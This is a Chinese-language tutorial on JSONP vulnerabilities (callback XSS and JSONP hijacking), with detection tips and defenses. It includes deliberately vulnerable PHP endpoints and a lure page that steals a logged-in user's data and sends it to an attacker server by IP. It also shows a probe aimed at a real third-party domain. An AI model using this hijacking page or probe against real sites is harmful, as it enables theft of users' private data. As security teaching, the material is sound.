本文仅作学习记录,如有侵权,请联系删除!
0x01 前言:
我最开始接触安全的时候,有阅读过跟跨域漏洞相关的技术文章,奈何自己才疏学浅,没能看明白文章的内容。碰巧最近在了解蜜罐的相关知识,这才想捡起自己曾经难乎为继的漏洞。
0x02 Jsonp:
JSONP是实现跨域的一种技术,应用于Web站点需要跨域获取数据的场景。使用JSONP技术可以让网页从别的域名或网站获取数据,即跨域读取数据。
基础认识:
JSONP(JSON with Padding)即填充式的JSON,通过填充额外的内容把JSON数据包装起来,变成一段有效的可以独立运行的JavaScript语句。它是基于JSON 格式的为解决跨域请求资源而产生的解决方案,基本原理是利用HTML里script元素标签,远程调用JSON文件来实现数据传递。
基本语法:
callback({"name":"test", "msg":"success"})
这里举一个例子帮助理解:假设a.com下存在data.json文件:
{"username": "book4yi","password": "secret"}
而下面的html文件用于发起Ajax请求获取data.json的内容并记录日志:
<script src='./jquery.js'></script>
<script >
$.ajax({
url: 'http://a.com/data.json',
type:"get",
dataType: "json",
success: function (data) {
console.log(data);}
})
</script>
但是如果该HTML文件放置在b.com下即与data.json文件不同域,访问该HTML文件时浏览器会报错,这是因为Ajax不能发起跨域请求。
为了使网页能够获取到其他网页(不同源)的数据,就搞了几种跨域的方法,其中包括了JSONP
原理:
利用script标签的src属性能够发起跨域请求
将该HTML文件改为:
<body>
<script src='./jquery.js'></script>
<script>
var s = document.createElement('script');
s.src = 'http://a.com/data.json';
document.body.appendChild(s);
</script>
</body>
此时再访问就发现可以跨域发起请求了,但是会看到浏览器报错,这时因为data.json中的内容并不符合JavaScript代码规范。
我们需要重新定义data.json文件让其符合JSONP规范:
callback({"username": "book4yi","password": "secret"})
然后在HTML文件中添加callback函数的定义即可:
<body>
<script src='./jquery.js'></script>
<script type="text/javascript">
function callback(json) {
console.log(json);
}
var s = document.createElement('script');
s.src = 'http://a.com/data.json';
document.body.appendChild(s);
</script>
</body>
此时,基本的JSONP功能就实现了,我们Web站点的HTML文件能够正常地跨域获取目标外域JSON数据了。
0x03 Jsonp跨域漏洞:
JSONP跨域漏洞主要是callback自定义导致的XSS和JSONP劫持。
callback自定义导致的XSS:
在JSONP跨域中,我们是可以传入一个函数名的参数如callback,然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来。
这时如果未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生。
默认情况下未设置Content-Type且未对callback参数进行过滤的场景,响应报文在未设置Content-Type情况下其值为text/html:
之前挖某买SRC遇到过几个都是这种情况,后面实在绕不过Waf就让它变成任意url跳转漏洞
JSONP劫持:
利用原理:
JSONP数据其实就是往JS函数中传参进行调用,这就导致了攻击者在恶意页面编写恶意的JS函数,通过JSONP的调用来执行该恶意JS函数、将敏感JSONP数据发往攻击者服务器中。
模拟一个登录站点,登录后可与JSONP端点交互获取用户信息。
1、main.php,放置于目标站点,用于用户登录以及与JSONP端点交互获取用户信息::
<?php
error_reporting(0);
session_start();
$name = $_GET['name'];
$pwd = $_GET['pwd'];
if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){
$_SESSION['name'] = $name;
}
if (isset($_GET['logout'])) {
if ($_GET['logout'] === '1') {
unset($_SESSION['name']);
}
}
//echo '<a href="http://victim.com/info.php?callback=jsonp">用户信息</a><br>';
//echo '<a href="http://victim.com/main.php?logout=1">退出登录</a><br data-tomark-pass>';
echo '<a href="http://192.168.107.170/info.php?callback=jsonp">用户信息</a><br>';
echo '<a href="http://192.168.107.170/main.php?logout=1">退出登录</a><br data-tomark-pass>';
if(!$_SESSION['name']){
echo '<html>
<head>
<title>登录</title>
<meta charset="utf-8">
</head>
<body>
<form action="main.php" method="get">
用户名:<input type="text" name="name">
密码:<input type="password" name="pwd">
<input type="submit" name="submit" value="login">
</form>
</body>
</html>';
}else{
echo "欢迎您, ".$_SESSION['name']."<br data-tomark-pass>";
}
?>
2、info.php,放置于目标站点中,JSONP端点,用于提供指定用户的信息,这里设置了Content-Type为application/json,防御了JSONP XSS漏洞:
<?php
header('Content-type: application/json');
error_reporting(0);
session_start();
$callback = $_GET['callback'];
if($_SESSION['name'] === 'admin'){
echo $callback."({'id':1,'name':'book4yi_admin'})";
} elseif($_SESSION['name'] === 'guest') {
echo $callback."({'id':2,'name':'book4yi_guest'})";
} else {
echo $callback."获取个人信息失败";
}
?>
3、jsonp_hijacking.html,放置在攻击者服务器中,用于诱使受害者访问,以窃取目标站点JSONP端点的敏感信息并发往攻击者服务器中:
<html>
<head>
<title>恭喜你中奖啦!</title>
<meta charset="utf-8">
</head>
<script type="text/javascript" src="./jquery.js"></script>
<script>
function jsonp_hack(v){
alert("JSONP hijacking");
var h = '';
for(var key in v){
var a = '';
a = key + ' : ' + v[key] + ' ,';
h += a;
}
alert(h);
$.get('http://192.168.107.129:8000/?value='+h);
}
</script>
<script src="http://192.168.107.170/info.php?callback=jsonp_hack"></script>
<body>
<h1>Welcome</h1>
</body>
</html>
补充:客户端可以使用原生js或者jQuery实现JSONP跨域资源请求
jQuery:可用$.getJSON,$.ajax,$.get
,举例$.ajax方式
<body>
<div id="here"></div>
<script>
$.ajax({
type: "get", //jsonp默认为get请求,即使写post也会转换成get方式
async: false, // jsonp默认为false,即使写true也会转换成false
url: "http://www.php.com:8088/jsonp.php", // 服务端地址
// data: {"code" : "CA1405"}, // 入参
dataType: "jsonp", // jsonp调用固定写法
jsonp: "callback", // 传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback)。即:?callback=xxx中的callback部分
// jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动为你处理数据。即:?callback=xxx中的xxx部分
success: function(data){ // 调用成功之后的方法
var html = '<ul>';
html += '<li>' + 'username: ' + data.username + '</li>';
html += '<li>' + 'password: ' + data.password + '</li>';
html += '</ul>';
document.getElementById('here').innerHTML = html;
},
error: function(){ // 调用失败之后的方法
alert('error');
}
});
</script>
</body>
4、受害者登录以后,攻击者向用户发送恶意链接诱使用户点击访问,当用户被诱导访问该恶意链接之后,恶意页面就会窃取JSONP端点数据并通过XHR的方式发往攻击者的服务器:
JSONP劫持利用过程:
0x04 漏洞挖掘:
常见关键字:
callback
jsoncallback
jsonpcallback
jsoncall
jsonpcall
cb
jsonp
jsoncb
jsonpcb
jQuery
捕获所有的以GET方式请求的http数据包:
- 遍历参数是否存在上述关键字
- 根据前端代码判断,如:dataType: "jsonp"
- 对响应类型为json格式的,添加请求参数如callback=8888
- 对响应类型为非json格式的,通过jsonp既有特征进行判断
工具推荐:https://github.com/p1g3/JSONP-Hunter
刚好看到github上有个burp插件,简单看了下源码,大致实现原理:
1、若存在参数,对参数进行遍历,构造正则:param_value + '({.*?})' 与响应体进行匹配
2、添加关键字参数:callback=jsonp1&cb=jsonp2&jsonp=jsonp3……
确实是否是真的JSONP方法,我们将目标URL填入下面的script标签的src中,将callback参数值改为我们自己定义的JS函数callback即可:
<html>
<head>
<title>JSONP Hijacking</title>
<meta charset="utf-8">
</head>
<body>
<script type="text/javascript" src="./jquery.js"></script>
<script type="text/javascript">
function callback(v){
console.log(v);
}
var s = document.createElement('script');
s.src = 'http://sapi.beibei.com/resource/utm_source.html?callback=callback';
document.body.appendChild(s);
</script>
</body>
</html>
修改之后访问该HTML文件,若在浏览器的控制台看到输出了JSONP数据内容,则确定是真的JSONP端点
Jsonp可利用的点:
- Referer过滤不严谨(比如仅验证是否存在xxx.com)
- 空Referer(在通过跨协议调用JS时,发送的http请求里的Referer为空,比如https跳转到http);
- CSRF调用json文件方式不安全,token可重复利用;
- JSON输出的Content-Type及编码不符合标准(gb2312可能存在宽字节注入);
- 未严格过滤callback函数名及JSON里数据的输出;
- 未严格限制JSONP输出callback函数名的长度。
0x05 防御手段:
- 使用CORS替换JSONP实现跨域功能;
- 应用CSRF防御措施来调用JSON文件:限制Referer 、部署Token等
- 严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 )
- 严格过滤 callback 函数名及JSON里数据的输出;
- 严格限制对JSONP输出callback函数名的长度(如防御Flash输出的方法);
网友评论